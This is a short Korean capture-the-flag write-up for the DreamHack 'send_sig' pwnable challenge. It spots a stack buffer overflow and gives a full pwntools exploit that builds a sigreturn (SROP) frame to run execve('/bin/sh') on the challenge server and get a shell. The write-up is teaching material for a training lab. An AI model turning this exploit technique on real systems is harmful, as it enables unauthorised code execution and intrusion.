본문 바로가기

CTF/Pwnable

[DreamHack] send_sig Write-up

코드 분석

 

sub_4010B6을 분석해보자

buf의 크기가 8인데 0x400만큼 입력 받는다 => bof

/bin/sh를 리턴하는 함수도 있다 

이 함수의 주소는 0x402000

pop rax;ret;가젯과 syscall 가젯도 있다 

=> sigreturn syscall 후 execve('/bin/sh')syscall하자 

 

익스플로잇

from pwn import *

p = remote('host3.dreamhack.games', 9285)
context(arch="amd64", os="linux")
e = ELF("./send_sig")
r = ROP(e)

pop_rax = r.find_gadget(['pop rax', 'ret'])[0]
syscall = r.find_gadget(['syscall'])[0]

pay = b'A'*0x10 + p64(pop_rax) + p64(0xf) + p64(syscall)
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402000 #binsh
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall
pay += bytes(frame)

p.sendafter("Signal:", pay)
p.interactive()

 

flag가 나온다